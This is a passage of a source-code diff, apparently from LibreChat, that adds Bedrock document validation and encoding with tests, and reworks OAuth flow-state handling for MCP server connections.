       const req = createMockRequest(15) as ServerRequest;
       const file = createMockFile(10);
diff --git a/packages/api/src/files/encode/document.ts b/packages/api/src/files/encode/document.ts
index 487a5503a4..e4fd066324 100644
--- a/packages/api/src/files/encode/document.ts
+++ b/packages/api/src/files/encode/document.ts
@@ -1,5 +1,10 @@
 import { Providers } from '@librechat/agents';
-import { isOpenAILikeProvider, isDocumentSupportedProvider } from 'librechat-data-provider';
+import {
+  isOpenAILikeProvider,
+  isBedrockDocumentType,
+  bedrockDocumentFormats,
+  isDocumentSupportedProvider,
+} from 'librechat-data-provider';
 import type { IMongoFile } from '@librechat/data-schemas';
 import type {
   AnthropicDocumentBlock,
@@ -7,8 +12,8 @@ import type {
   DocumentResult,
   ServerRequest,
 } from '~/types';
+import { validatePdf, validateBedrockDocument } from '~/files/validation';
 import { getFileStream, getConfiguredFileSizeLimit } from './utils';
-import { validatePdf } from '~/files/validation';
 
 /**
  * Processes and encodes document files for various providers
@@ -35,9 +40,15 @@ export async function encodeAndFormatDocuments(
   const encodingMethods: Record<string, StrategyFunctions> = {};
   const result: DocumentResult = { documents: [], files: [] };
 
-  const documentFiles = files.filter(
-    (file) => file.type === 'application/pdf' || file.type?.startsWith('application/'),
-  );
+  const isBedrock = provider === Providers.BEDROCK;
+  const isDocSupported = isDocumentSupportedProvider(provider);
+
+  const documentFiles = files.filter((file) => {
+    if (isBedrock && isBedrockDocumentType(file.type)) {
+      return true;
+    }
+    return file.type === 'application/pdf' || file.type?.startsWith('application/');
+  });
 
   if (!documentFiles.length) {
     return result;
@@ -45,7 +56,10 @@ export async function encodeAndFormatDocuments(
 
   const results = await Promise.allSettled(
     documentFiles.map((file) => {
-      if (file.type !== 'application/pdf' || !isDocumentSupportedProvider(provider)) {
+      const isProcessable = isBedrock
+        ? isBedrockDocumentType(file.type)
+        : file.type === 'application/pdf' && isDocSupported;
+      if (!isProcessable) {
         return Promise.resolve(null);
       }
       return getFileStream(req, file, encodingMethods, getStrategyFunctions);
@@ -68,14 +82,40 @@ export async function encodeAndFormatDocuments(
       continue;
     }
 
-    if (file.type === 'application/pdf' && isDocumentSupportedProvider(provider)) {
-      const pdfBuffer = Buffer.from(content, 'base64');
+    const configuredFileSizeLimit = getConfiguredFileSizeLimit(req, { provider, endpoint });
+    const mimeType = file.type ?? '';
 
-      /** Extract configured file size limit from fileConfig for this endpoint */
-      const configuredFileSizeLimit = getConfiguredFileSizeLimit(req, {
-        provider,
-        endpoint,
+    if (isBedrock && isBedrockDocumentType(mimeType)) {
+      const fileBuffer = Buffer.from(content, 'base64');
+      const format = bedrockDocumentFormats[mimeType];
+
+      const validation = await validateBedrockDocument(
+        fileBuffer.length,
+        mimeType,
+        fileBuffer,
+        configuredFileSizeLimit,
+      );
+
+      if (!validation.isValid) {
+        throw new Error(`Document validation failed: ${validation.error}`);
+      }
+
+      const sanitizedName = (file.filename || 'document')
+        .replace(/[^a-zA-Z0-9\s\-()[\]]/g, '_')
+        .slice(0, 200);
+      result.documents.push({
+        type: 'document',
+        document: {
+          name: sanitizedName,
+          format,
+          source: {
+            bytes: fileBuffer,
+          },
+        },
       });
+      result.files.push(metadata);
+    } else if (file.type === 'application/pdf' && isDocSupported) {
+      const pdfBuffer = Buffer.from(content, 'base64');
 
       const validation = await validatePdf(
         pdfBuffer,
diff --git a/packages/api/src/files/index.ts b/packages/api/src/files/index.ts
index 3aedc5ba9d..c3bdb49478 100644
--- a/packages/api/src/files/index.ts
+++ b/packages/api/src/files/index.ts
@@ -1,5 +1,7 @@
+export * from './agents';
 export * from './audio';
 export * from './context';
+export * from './documents/crud';
 export * from './encode';
 export * from './filter';
 export * from './mistral/crud';
diff --git a/packages/api/src/files/mistral/crud.ts b/packages/api/src/files/mistral/crud.ts
index fefe4a4675..c818fab8b8 100644
--- a/packages/api/src/files/mistral/crud.ts
+++ b/packages/api/src/files/mistral/crud.ts
@@ -165,9 +165,11 @@ export async function performOCR({
     config.httpsAgent = new HttpsProxyAgent(process.env.PROXY);
   }
 
+  const ocrURL = baseURL.endsWith('/ocr') ? baseURL : `${baseURL}/ocr`;
+
   return axios
     .post(
-      `${baseURL}/ocr`,
+      ocrURL,
       {
         model,
         image_limit: 0,
diff --git a/packages/api/src/files/validation.spec.ts b/packages/api/src/files/validation.spec.ts
index 384f499f43..98dcda4188 100644
--- a/packages/api/src/files/validation.spec.ts
+++ b/packages/api/src/files/validation.spec.ts
@@ -1,6 +1,6 @@
 import { Providers } from '@librechat/agents';
 import { mbToBytes } from 'librechat-data-provider';
-import { validatePdf, validateVideo, validateAudio } from './validation';
+import { validatePdf, validateBedrockDocument, validateVideo, validateAudio } from './validation';
 
 describe('PDF Validation with fileConfig.endpoints.*.fileSizeLimit', () => {
   /** Helper to create a PDF buffer with valid header */
@@ -145,6 +145,122 @@ describe('PDF Validation with fileConfig.endpoints.*.fileSizeLimit', () => {
     });
   });
 
+  describe('validatePdf - Bedrock provider', () => {
+    const provider = Providers.BEDROCK;
+
+    it('should accept PDF within provider limit when no config provided', async () => {
+      const pdfBuffer = createMockPdfBuffer(3);
+      const result = await validatePdf(pdfBuffer, pdfBuffer.length, provider);
+
+      expect(result.isValid).toBe(true);
+      expect(result.error).toBeUndefined();
+    });
+
+    it('should reject PDF exceeding 4.5MB hard limit when no config provided', async () => {
+      const pdfBuffer = createMockPdfBuffer(5);
+      const result = await validatePdf(pdfBuffer, pdfBuffer.length, provider);
+
+      expect(result.isValid).toBe(false);
+      expect(result.error).toContain('4.5MB');
+    });
+
+    it('should use configured limit when it is lower than provider limit', async () => {
+      const configuredLimit = mbToBytes(2);
+      const pdfBuffer = createMockPdfBuffer(3);
+      const result = await validatePdf(pdfBuffer, pdfBuffer.length, provider, configuredLimit);
+
+      expect(result.isValid).toBe(false);
+      expect(result.error).toContain('2.0MB');
+    });
+
+    it('should clamp to 4.5MB hard limit even when config is higher', async () => {
+      const configuredLimit = mbToBytes(512);
+      const pdfBuffer = createMockPdfBuffer(5);
+      const result = await validatePdf(pdfBuffer, pdfBuffer.length, provider, configuredLimit);
+
+      expect(result.isValid).toBe(false);
+      expect(result.error).toContain('4.5MB');
+    });
+
+    it('should reject PDFs with invalid header', async () => {
+      const pdfBuffer = Buffer.alloc(1024);
+      pdfBuffer.write('INVALID', 0);
+      const result = await validatePdf(pdfBuffer, pdfBuffer.length, provider);
+
+      expect(result.isValid).toBe(false);
+      expect(result.error).toContain('PDF header');
+    });
+
+    it('should reject PDFs that are too small', async () => {
+      const pdfBuffer = Buffer.alloc(3);
+      const result = await validatePdf(pdfBuffer, pdfBuffer.length, provider);
+
+      expect(result.isValid).toBe(false);
+      expect(result.error).toContain('too small');
+    });
+  });
+
+  describe('validateBedrockDocument - non-PDF types', () => {
+    it('should accept CSV within 4.5MB limit', async () => {
+      const fileSize = 2 * 1024 * 1024;
+      const result = await validateBedrockDocument(fileSize, 'text/csv');
+
+      expect(result.isValid).toBe(true);
+      expect(result.error).toBeUndefined();
+    });
+
+    it('should accept DOCX within 4.5MB limit', async () => {
+      const fileSize = 3 * 1024 * 1024;
+      const mimeType = 'application/vnd.openxmlformats-officedocument.wordprocessingml.document';
+      const result = await validateBedrockDocument(fileSize, mimeType);
+
+      expect(result.isValid).toBe(true);
+      expect(result.error).toBeUndefined();
+    });
+
+    it('should reject non-PDF document exceeding 4.5MB hard limit', async () => {
+      const fileSize = 5 * 1024 * 1024;
+      const result = await validateBedrockDocument(fileSize, 'text/plain');
+
+      expect(result.isValid).toBe(false);
+      expect(result.error).toContain('4.5MB');
+    });
+
+    it('should clamp to 4.5MB even when config is higher for non-PDF', async () => {
+      const fileSize = 5 * 1024 * 1024;
+      const configuredLimit = mbToBytes(512);
+      const result = await validateBedrockDocument(fileSize, 'text/html', undefined, configuredLimit);
+
+      expect(result.isValid).toBe(false);
+      expect(result.error).toContain('4.5MB');
+    });
+
+    it('should use configured limit when lower than provider limit for non-PDF', async () => {
+      const fileSize = 3 * 1024 * 1024;
+      const configuredLimit = mbToBytes(2);
+      const result = await validateBedrockDocument(fileSize, 'text/markdown', undefined, configuredLimit);
+
+      expect(result.isValid).toBe(false);
+      expect(result.error).toContain('2.0MB');
+    });
+
+    it('should not run PDF header check on non-PDF types', async () => {
+      const buffer = Buffer.from('NOT-A-PDF-HEADER-but-valid-csv-content');
+      const result = await validateBedrockDocument(buffer.length, 'text/csv', buffer);
+
+      expect(result.isValid).toBe(true);
+    });
+
+    it('should still run PDF header check when mimeType is application/pdf', async () => {
+      const buffer = Buffer.alloc(1024);
+      buffer.write('INVALID', 0);
+      const result = await validateBedrockDocument(buffer.length, 'application/pdf', buffer);
+
+      expect(result.isValid).toBe(false);
+      expect(result.error).toContain('PDF header');
+    });
+  });
+
   describe('validatePdf - Google provider', () => {
     const provider = Providers.GOOGLE;
 
diff --git a/packages/api/src/files/validation.ts b/packages/api/src/files/validation.ts
index 4b36ac0bff..b3db19e92a 100644
--- a/packages/api/src/files/validation.ts
+++ b/packages/api/src/files/validation.ts
@@ -1,6 +1,11 @@
 import { Providers } from '@librechat/agents';
 import { mbToBytes, isOpenAILikeProvider } from 'librechat-data-provider';
 
+export interface ValidationResult {
+  isValid: boolean;
+  error?: string;
+}
+
 export interface PDFValidationResult {
   isValid: boolean;
   error?: string;
@@ -31,6 +36,10 @@ export async function validatePdf(
     return validateAnthropicPdf(pdfBuffer, fileSize, configuredFileSizeLimit);
   }
 
+  if (provider === Providers.BEDROCK) {
+    return validateBedrockDocument(fileSize, 'application/pdf', pdfBuffer, configuredFileSizeLimit);
+  }
+
   if (isOpenAILikeProvider(provider)) {
     return validateOpenAIPdf(fileSize, configuredFileSizeLimit);
   }
@@ -113,6 +122,64 @@ async function validateAnthropicPdf(
   }
 }
 
+/**
+ * Validates a document against Bedrock's 4.5MB hard limit. PDF-specific header
+ * checks run only when the MIME type is `application/pdf`.
+ * @param fileSize - The file size in bytes
+ * @param mimeType - The MIME type of the document
+ * @param fileBuffer - The file buffer (used for PDF header validation)
+ * @param configuredFileSizeLimit - Optional configured file size limit from fileConfig (in bytes)
+ * @returns Promise that resolves to validation result
+ */
+export async function validateBedrockDocument(
+  fileSize: number,
+  mimeType: string,
+  fileBuffer?: Buffer,
+  configuredFileSizeLimit?: number,
+): Promise<ValidationResult> {
+  try {
+    /** Bedrock enforces a hard 4.5MB per-document limit at the API level; config can only lower it */
+    const providerLimit = mbToBytes(4.5);
+    const effectiveLimit =
+      configuredFileSizeLimit != null
+        ? Math.min(configuredFileSizeLimit, providerLimit)
+        : providerLimit;
+
+    if (fileSize > effectiveLimit) {
+      const limitMB = (effectiveLimit / (1024 * 1024)).toFixed(1);
+      return {
+        isValid: false,
+        error: `File size (${(fileSize / (1024 * 1024)).toFixed(1)}MB) exceeds the ${limitMB}MB limit for Bedrock`,
+      };
+    }
+
+    if (mimeType === 'application/pdf' && fileBuffer) {
+      if (fileBuffer.length < 5) {
+        return {
+          isValid: false,
+          error: 'Invalid PDF file: too small or corrupted',
+        };
+      }
+
+      const pdfHeader = fileBuffer.subarray(0, 5).toString();
+      if (!pdfHeader.startsWith('%PDF-')) {
+        return {
+          isValid: false,
+          error: 'Invalid PDF file: missing PDF header',
+        };
+      }
+    }
+
+    return { isValid: true };
+  } catch (error) {
+    console.error('Bedrock document validation error:', error);
+    return {
+      isValid: false,
+      error: 'Failed to validate document file',
+    };
+  }
+}
+
 /**
  * Validates if a PDF meets OpenAI's requirements
  * @param fileSize - The file size in bytes
diff --git a/packages/api/src/flow/manager.test.ts b/packages/api/src/flow/manager.test.ts
index a419f4aeab..b34dcbafab 100644
--- a/packages/api/src/flow/manager.test.ts
+++ b/packages/api/src/flow/manager.test.ts
@@ -24,7 +24,6 @@ class MockKeyv<T = string> {
     return this.store.get(key);
   }
 
-  // eslint-disable-next-line @typescript-eslint/no-unused-vars
   async set(key: string, value: FlowState<T>, _ttl?: number): Promise<true> {
     this.store.set(key, value);
     return true;
@@ -160,6 +159,71 @@ describe('FlowStateManager', () => {
     }, 15000);
   });
 
+  describe('initFlow', () => {
+    const flowId = 'init-test-flow';
+    const type = 'test-type';
+    const flowKey = `${type}:${flowId}`;
+
+    it('stores a PENDING flow state in the cache', async () => {
+      await flowManager.initFlow(flowId, type, { serverName: 'test' });
+
+      const state = await store.get(flowKey);
+      expect(state).toBeDefined();
+      expect(state!.status).toBe('PENDING');
+      expect(state!.type).toBe(type);
+      expect(state!.metadata).toEqual({ serverName: 'test' });
+      expect(state!.createdAt).toBeGreaterThan(0);
+    });
+
+    it('overwrites an existing flow state', async () => {
+      await store.set(flowKey, {
+        type,
+        status: 'COMPLETED',
+        metadata: { old: true },
+        createdAt: Date.now() - 10000,
+      });
+
+      await flowManager.initFlow(flowId, type, { new: true });
+
+      const state = await store.get(flowKey);
+      expect(state!.status).toBe('PENDING');
+      expect(state!.metadata).toEqual({ new: true });
+    });
+
+    it('allows createFlow to find and monitor the pre-stored state', async () => {
+      // initFlow stores the PENDING state
+      await flowManager.initFlow(flowId, type, { preStored: true });
+
+      // createFlow should find the existing state and start monitoring
+      const flowPromise = flowManager.createFlow(flowId, type);
+
+      // Complete the flow so the monitor resolves
+      await new Promise((resolve) => setTimeout(resolve, 500));
+      await flowManager.completeFlow(flowId, type, 'success');
+
+      const result = await flowPromise;
+      expect(result).toBe('success');
+    }, 15000);
+
+    it('passes the configured TTL to keyv.set', async () => {
+      const setSpy = jest.spyOn(store, 'set');
+
+      await flowManager.initFlow(flowId, type, { serverName: 'test' });
+
+      expect(setSpy).toHaveBeenCalledWith(
+        flowKey,
+        expect.objectContaining({ status: 'PENDING' }),
+        30000,
+      );
+    });
+
+    it('propagates store write failures', async () => {
+      jest.spyOn(store, 'set').mockRejectedValueOnce(new Error('Store write failed'));
+
+      await expect(flowManager.initFlow(flowId, type)).rejects.toThrow('Store write failed');
+    });
+  });
+
   describe('deleteFlow', () => {
     const flowId = 'test-flow-123';
     const type = 'test-type';
diff --git a/packages/api/src/flow/manager.ts b/packages/api/src/flow/manager.ts
index 2e2731a2d4..b68b9edb7a 100644
--- a/packages/api/src/flow/manager.ts
+++ b/packages/api/src/flow/manager.ts
@@ -3,6 +3,18 @@ import { logger } from '@librechat/data-schemas';
 import type { StoredDataNoRaw } from 'keyv';
 import type { FlowState, FlowMetadata, FlowManagerOptions } from './types';
 
+export const PENDING_STALE_MS = 2 * 60 * 1000;
+
+const SECONDS_THRESHOLD = 1e10;
+
+/**
+ * Normalizes an expiration timestamp to milliseconds.
+ * Timestamps below 10 billion are assumed to be in seconds (valid until ~2286).
+ */
+export function normalizeExpiresAt(timestamp: number): number {
+  return timestamp < SECONDS_THRESHOLD ? timestamp * 1000 : timestamp;
+}
+
 export class FlowStateManager<T = unknown> {
   private keyv: Keyv;
   private ttl: number;
@@ -45,32 +57,8 @@ export class FlowStateManager<T = unknown> {
     return `${type}:${flowId}`;
   }
 
-  /**
-   * Normalizes an expiration timestamp to milliseconds.
-   * Detects whether the input is in seconds or milliseconds based on magnitude.
-   * Timestamps below 10 billion are assumed to be in seconds (valid until ~2286).
-   * @param timestamp - The expiration timestamp (in seconds or milliseconds)
-   * @returns The timestamp normalized to milliseconds
-   */
-  private normalizeExpirationTimestamp(timestamp: number): number {
-    const SECONDS_THRESHOLD = 1e10;
-    if (timestamp < SECONDS_THRESHOLD) {
-      return timestamp * 1000;
-    }
-    return timestamp;
-  }
-
-  /**
-   * Checks if a flow's token has expired based on its expires_at field
-   * @param flowState - The flow state to check
-   * @returns true if the token has expired, false otherwise (including if no expires_at exists)
-   */
   private isTokenExpired(flowState: FlowState<T> | undefined): boolean {
-    if (!flowState?.result) {
-      return false;
-    }
-
-    if (typeof flowState.result !== 'object') {
+    if (!flowState?.result || typeof flowState.result !== 'object') {
       return false;
     }
 
@@ -79,13 +67,29 @@ export class FlowStateManager<T = unknown> {
     }
 
     const expiresAt = (flowState.result as { expires_at: unknown }).expires_at;
-
     if (typeof expiresAt !== 'number' || !Number.isFinite(expiresAt)) {
       return false;
     }
 
-    const normalizedExpiresAt = this.normalizeExpirationTimestamp(expiresAt);
-    return normalizedExpiresAt < Date.now();
+    return normalizeExpiresAt(expiresAt) < Date.now();
+  }
+
+  /**
+   * Stores initial PENDING flow state without starting the monitor loop.
+   * Use this when you need to guarantee the state is persisted before
+   * performing an action (e.g., an OAuth redirect), then call createFlow()
+   * separately to start monitoring for completion.
+   */
+  async initFlow(flowId: string, type: string, metadata: FlowMetadata = {}): Promise<void> {
+    const flowKey = this.getFlowKey(flowId, type);
+    const initialState: FlowState = {
+      type,
+      status: 'PENDING',
+      metadata,
+      createdAt: Date.now(),
+    };
+    logger.debug(`[${flowKey}] Storing initial flow state`);
+    await this.keyv.set(flowKey, initialState, this.ttl);
   }
 
   /**
@@ -131,6 +135,8 @@ export class FlowStateManager<T = unknown> {
       let elapsedTime = 0;
       let isCleanedUp = false;
       let intervalId: NodeJS.Timeout | null = null;
+      let missingStateRetried = false;
+      let isRetrying = false;
 
       // Cleanup function to avoid duplicate cleanup
       const cleanup = () => {
@@ -170,16 +176,29 @@ export class FlowStateManager<T = unknown> {
       }
 
       intervalId = setInterval(async () => {
-        if (isCleanedUp) return;
+        if (isCleanedUp || isRetrying) return;
 
         try {
-          const flowState = (await this.keyv.get(flowKey)) as FlowState<T> | undefined;
+          let flowState = (await this.keyv.get(flowKey)) as FlowState<T> | undefined;
 
           if (!flowState) {
-            cleanup();
-            logger.error(`[${flowKey}] Flow state not found`);
-            reject(new Error(`${type} Flow state not found`));
-            return;
+            if (!missingStateRetried) {
+              missingStateRetried = true;
+              isRetrying = true;
+              logger.warn(
+                `[${flowKey}] Flow state not found, retrying once after 500ms (race recovery)`,
+              );
+              await new Promise((r) => setTimeout(r, 500));
+              flowState = (await this.keyv.get(flowKey)) as FlowState<T> | undefined;
+              isRetrying = false;
+            }
+
+            if (!flowState) {
+              cleanup();
+              logger.error(`[${flowKey}] Flow state not found after retry`);
+              reject(new Error(`${type} Flow state not found`));
+              return;
+            }
           }
 
           if (signal?.aborted) {
@@ -233,10 +252,10 @@ export class FlowStateManager<T = unknown> {
     const flowState = (await this.keyv.get(flowKey)) as FlowState<T> | undefined;
 
     if (!flowState) {
-      logger.warn('[FlowStateManager] Cannot complete flow - flow state not found', {
-        flowId,
-        type,
-      });
+      logger.warn(
+        '[FlowStateManager] Flow state not found during completion — cannot recover metadata, skipping',
+        { flowId, type },
+      );
       return false;
     }
 
@@ -279,7 +298,7 @@ export class FlowStateManager<T = unknown> {
   async isFlowStale(
     flowId: string,
     type: string,
-    staleThresholdMs: number = 2 * 60 * 1000,
+    staleThresholdMs: number = PENDING_STALE_MS,
   ): Promise<{ isStale: boolean; age: number; status?: string }> {
     const flowKey = this.getFlowKey(flowId, type);
     const flowState = (await this.keyv.get(flowKey)) as FlowState<T> | undefined;
diff --git a/packages/api/src/index.ts b/packages/api/src/index.ts
index fefdafaefd..687ee7aa49 100644
--- a/packages/api/src/index.ts
+++ b/packages/api/src/index.ts
@@ -15,6 +15,8 @@ export * from './mcp/errors';
 /* Utilities */
 export * from './mcp/utils';
 export * from './utils';
+export { default as Tokenizer, countTokens } from './utils/tokenizer';
+export type { EncodingName } from './utils/tokenizer';
 export * from './db/utils';
 /* OAuth */
 export * from './oauth';
@@ -43,6 +45,8 @@ export * from './web';
 export * from './cache';
 /* Stream */
 export * from './stream';
+/* Diagnostics */
+export { memoryDiagnostics } from './utils/memory';
 /* types */
 export type * from './mcp/types';
 export type * from './flow/types';
diff --git a/packages/api/src/mcp/ConnectionsRepository.ts b/packages/api/src/mcp/ConnectionsRepository.ts
index b14af57b29..e629934dda 100644
--- a/packages/api/src/mcp/ConnectionsRepository.ts
+++ b/packages/api/src/mcp/ConnectionsRepository.ts
@@ -25,6 +25,11 @@ export class ConnectionsRepository {
     this.oauthOpts = oauthOpts;
   }
 
+  /** Returns the number of active connections in this repository */
+  public getConnectionCount(): number {
+    return this.connections.size;
+  }
+
   /** Checks whether this repository can connect to a specific server */
   async has(serverName: string): Promise<boolean> {
     const config = await MCPServersRegistry.getInstance().getServerConfig(serverName, this.ownerId);
@@ -75,6 +80,7 @@ export class ConnectionsRepository {
       {
         serverName,
         serverConfig,
+        dbSourced: !!(serverConfig as t.ParsedServerConfig).dbId,
         useSSRFProtection: MCPServersRegistry.getInstance().shouldEnableSSRFProtection(),
       },
       this.oauthOpts,
@@ -134,6 +140,9 @@ export class ConnectionsRepository {
   }
 
   private isAllowedToConnectToServer(config: t.ParsedServerConfig) {
+    if (config.inspectionFailed) {
+      return false;
+    }
     //the repository is not allowed to be connected in case the Connection repository is shared (ownerId is undefined/null) and the server requires Auth or startup false.
     if (this.ownerId === undefined && (config.startup === false || config.requiresOAuth)) {
       return false;
diff --git a/packages/api/src/mcp/MCPConnectionFactory.ts b/packages/api/src/mcp/MCPConnectionFactory.ts
index a8f631614d..0fc86e0315 100644
--- a/packages/api/src/mcp/MCPConnectionFactory.ts
+++ b/packages/api/src/mcp/MCPConnectionFactory.ts
@@ -2,11 +2,11 @@ import { logger } from '@librechat/data-schemas';
 import type { OAuthClientInformation } from '@modelcontextprotocol/sdk/shared/auth.js';
 import type { Tool } from '@modelcontextprotocol/sdk/types.js';
 import type { TokenMethods } from '@librechat/data-schemas';
-import type { MCPOAuthTokens, OAuthMetadata } from '~/mcp/oauth';
+import type { MCPOAuthTokens, OAuthMetadata, MCPOAuthFlowMetadata } from '~/mcp/oauth';
 import type { FlowStateManager } from '~/flow/manager';
-import type { FlowMetadata } from '~/flow/types';
 import type * as t from './types';
-import { MCPTokenStorage, MCPOAuthHandler } from '~/mcp/oauth';
+import { MCPTokenStorage, MCPOAuthHandler, ReauthenticationRequiredError } from '~/mcp/oauth';
+import { PENDING_STALE_MS, normalizeExpiresAt } from '~/flow/manager';
 import { sanitizeUrlForLogging } from './utils';
 import { withTimeout } from '~/utils/promise';
 import { MCPConnection } from './connection';
@@ -104,6 +104,7 @@ export class MCPConnectionFactory {
         return { tools, connection, oauthRequired: false, oauthUrl: null };
       }
     } catch {
+      MCPConnection.decrementCycleCount(this.serverName);
       logger.debug(
         `${this.logPrefix} [Discovery] Connection failed, attempting unauthenticated tool listing`,
       );
@@ -125,7 +126,9 @@ export class MCPConnectionFactory {
         }
         return { tools, connection: null, oauthRequired, oauthUrl };
       }
+      MCPConnection.decrementCycleCount(this.serverName);
     } catch (listError) {
+      MCPConnection.decrementCycleCount(this.serverName);
       logger.debug(`${this.logPrefix} [Discovery] Unauthenticated tool listing failed:`, listError);
     }
 
@@ -185,10 +188,11 @@ export class MCPConnectionFactory {
 
   protected constructor(basic: t.BasicConnectionOptions, oauth?: t.OAuthConnectionOptions) {
     this.serverConfig = processMCPEnv({
-      options: basic.serverConfig,
       user: oauth?.user,
-      customUserVars: oauth?.customUserVars,
       body: oauth?.requestBody,
+      dbSourced: basic.dbSourced,
+      options: basic.serverConfig,
+      customUserVars: oauth?.customUserVars,
     });
     this.serverName = basic.serverName;
     this.useOAuth = !!oauth?.useOAuth;
@@ -264,6 +268,10 @@ export class MCPConnectionFactory {
       if (tokens) logger.info(`${this.logPrefix} Loaded OAuth tokens`);
       return tokens;
     } catch (error) {
+      if (error instanceof ReauthenticationRequiredError) {
+        logger.info(`${this.logPrefix} ${error.message}, will trigger OAuth flow`);
+        return null;
+      }
       logger.debug(`${this.logPrefix} No existing tokens found or error loading tokens`, error);
       return null;
     }
@@ -305,11 +313,21 @@ export class MCPConnectionFactory {
           const existingFlow = await this.flowManager!.getFlowState(flowId, 'mcp_oauth');
 
           if (existingFlow?.status === 'PENDING') {
+            const pendingAge = existingFlow.createdAt
+              ? Date.now() - existingFlow.createdAt
+              : Infinity;
+
+            if (pendingAge < PENDING_STALE_MS) {
+              logger.debug(
+                `${this.logPrefix} Recent PENDING OAuth flow exists (${Math.round(pendingAge / 1000)}s old), skipping new initiation`,
+              );
+              connection.emit('oauthFailed', new Error('OAuth flow initiated - return early'));
+              return;
+            }
+
             logger.debug(
-              `${this.logPrefix} PENDING OAuth flow already exists, skipping new initiation`,
+              `${this.logPrefix} Found stale PENDING OAuth flow (${Math.round(pendingAge / 1000)}s old), will replace`,
             );
-            connection.emit('oauthFailed', new Error('OAuth flow initiated - return early'));
-            return;
           }
 
           const {
@@ -325,12 +343,23 @@ export class MCPConnectionFactory {
           );
 
           if (existingFlow) {
+            const oldState = (existingFlow.metadata as MCPOAuthFlowMetadata)?.state;
             await this.flowManager!.deleteFlow(newFlowId, 'mcp_oauth');
+            if (oldState) {
+              await MCPOAuthHandler.deleteStateMapping(oldState, this.flowManager!);
+            }
           }
 
-          this.flowManager!.createFlow(newFlowId, 'mcp_oauth', flowMetadata, this.signal).catch(
-            () => {},
-          );
+          // Store flow state BEFORE redirecting so the callback can find it
+          const metadataWithUrl = { ...flowMetadata, authorizationUrl };
+          await this.flowManager!.initFlow(newFlowId, 'mcp_oauth', metadataWithUrl);
+          await MCPOAuthHandler.storeStateMapping(flowMetadata.state, newFlowId, this.flowManager!);
+
+          // Start monitoring in background — createFlow will find the existing PENDING state
+          // written by initFlow above, so metadata arg is unused (pass {} to make that explicit)
+          this.flowManager!.createFlow(newFlowId, 'mcp_oauth', {}, this.signal).catch((error) => {
+            logger.debug(`${this.logPrefix} OAuth flow monitor ended`, error);
+          });
 
           if (this.oauthStart) {
             logger.info(`${this.logPrefix} OAuth flow started, issuing authorization URL`);
@@ -489,11 +518,75 @@ export class MCPConnectionFactory {
       const existingFlow = await this.flowManager.getFlowState(flowId, 'mcp_oauth');
 
       if (existingFlow) {
+        const flowMeta = existingFlow.metadata as MCPOAuthFlowMetadata | undefined;
+
+        if (existingFlow.status === 'PENDING') {
+          const pendingAge = existingFlow.createdAt
+            ? Date.now() - existingFlow.createdAt
+            : Infinity;
+
+          if (pendingAge < PENDING_STALE_MS) {
+            logger.debug(
+              `${this.logPrefix} Found recent PENDING OAuth flow (${Math.round(pendingAge / 1000)}s old), joining instead of creating new one`,
+            );
+
+            const storedAuthUrl = flowMeta?.authorizationUrl;
+            if (storedAuthUrl && typeof this.oauthStart === 'function') {
+              logger.info(
+                `${this.logPrefix} Re-issuing stored authorization URL to caller while joining PENDING flow`,
+              );
+              await this.oauthStart(storedAuthUrl);
+            }
+
+            const tokens = await this.flowManager.createFlow(flowId, 'mcp_oauth', {}, this.signal);
+            if (typeof this.oauthEnd === 'function') {
+              await this.oauthEnd();
+            }
+            logger.info(
+              `${this.logPrefix} Joined existing OAuth flow completed for ${this.serverName}`,
+            );
+            return {
+              tokens,
+              clientInfo: flowMeta?.clientInfo,
+              metadata: flowMeta?.metadata,
+            };
+          }
+
+          logger.debug(
+            `${this.logPrefix} Found stale PENDING OAuth flow (${Math.round(pendingAge / 1000)}s old), will delete and start fresh`,
+          );
+        }
+
+        if (existingFlow.status === 'COMPLETED') {
+          const completedAge = existingFlow.completedAt
+            ? Date.now() - existingFlow.completedAt
+            : Infinity;
+          const cachedTokens = existingFlow.result as MCPOAuthTokens | null | undefined;
+          const isTokenExpired =
+            cachedTokens?.expires_at != null &&
+            normalizeExpiresAt(cachedTokens.expires_at) < Date.now();
+
+          if (completedAge <= PENDING_STALE_MS && cachedTokens !== undefined && !isTokenExpired) {
+            logger.debug(
+              `${this.logPrefix} Found non-stale COMPLETED OAuth flow, reusing cached tokens`,
+            );
+            return {
+              tokens: cachedTokens,
+              clientInfo: flowMeta?.clientInfo,
+              metadata: flowMeta?.metadata,
+            };
+          }
+        }
+
         logger.debug(
           `${this.logPrefix} Found existing OAuth flow (status: ${existingFlow.status}), cleaning up to start fresh`,
         );
         try {
+          const oldState = flowMeta?.state;
           await this.flowManager.deleteFlow(flowId, 'mcp_oauth');
+          if (oldState) {
+            await MCPOAuthHandler.deleteStateMapping(oldState, this.flowManager);
+          }
         } catch (error) {
           logger.warn(`${this.logPrefix} Failed to clean up existing OAuth flow`, error);
         }
@@ -512,6 +605,11 @@ export class MCPConnectionFactory {
         this.serverConfig.oauth,
       );
 
+      // Store flow state BEFORE redirecting so the callback can find it
+      const metadataWithUrl = { ...flowMetadata, authorizationUrl };
+      await this.flowManager.initFlow(newFlowId, 'mcp_oauth', metadataWithUrl);
+      await MCPOAuthHandler.storeStateMapping(flowMetadata.state, newFlowId, this.flowManager);
+
       if (typeof this.oauthStart === 'function') {
         logger.info(`${this.logPrefix} OAuth flow started, issued authorization URL to user`);
         await this.oauthStart(authorizationUrl);
@@ -521,13 +619,9 @@ export class MCPConnectionFactory {
         );
       }
 
-      /** Tokens from the new flow */
-      const tokens = await this.flowManager.createFlow(
-        newFlowId,
-        'mcp_oauth',
-        flowMetadata as FlowMetadata,
-        this.signal,
-      );
+      // createFlow will find the existing PENDING state written by initFlow above,
+      // so metadata arg is unused (pass {} to make that explicit)
+      const tokens = await this.flowManager.createFlow(newFlowId, 'mcp_oauth', {}, this.signal);
       if (typeof this.oauthEnd === 'function') {
         await this.oauthEnd();
       }
diff --git a/packages/api/src/mcp/MCPManager.ts b/packages/api/src/mcp/MCPManager.ts
index cab495774a..6fdf45c27a 100644
--- a/packages/api/src/mcp/MCPManager.ts
+++ b/packages/api/src/mcp/MCPManager.ts
@@ -88,22 +88,26 @@ export class MCPManager extends UserConnectionManager {
       logger.debug(`${logPrefix} [Discovery] App connection not available, trying discovery mode`);
     }
 
-    const serverConfig = (await MCPServersRegistry.getInstance().getServerConfig(
+    const serverConfig = await MCPServersRegistry.getInstance().getServerConfig(
       serverName,
       user?.id,
-    )) as t.MCPOptions | null;
+    );
 
     if (!serverConfig) {
       logger.warn(`${logPrefix} [Discovery] Server config not found`);
       return { tools: null, oauthRequired: false, oauthUrl: null };
     }
 
-    const useOAuth = Boolean(
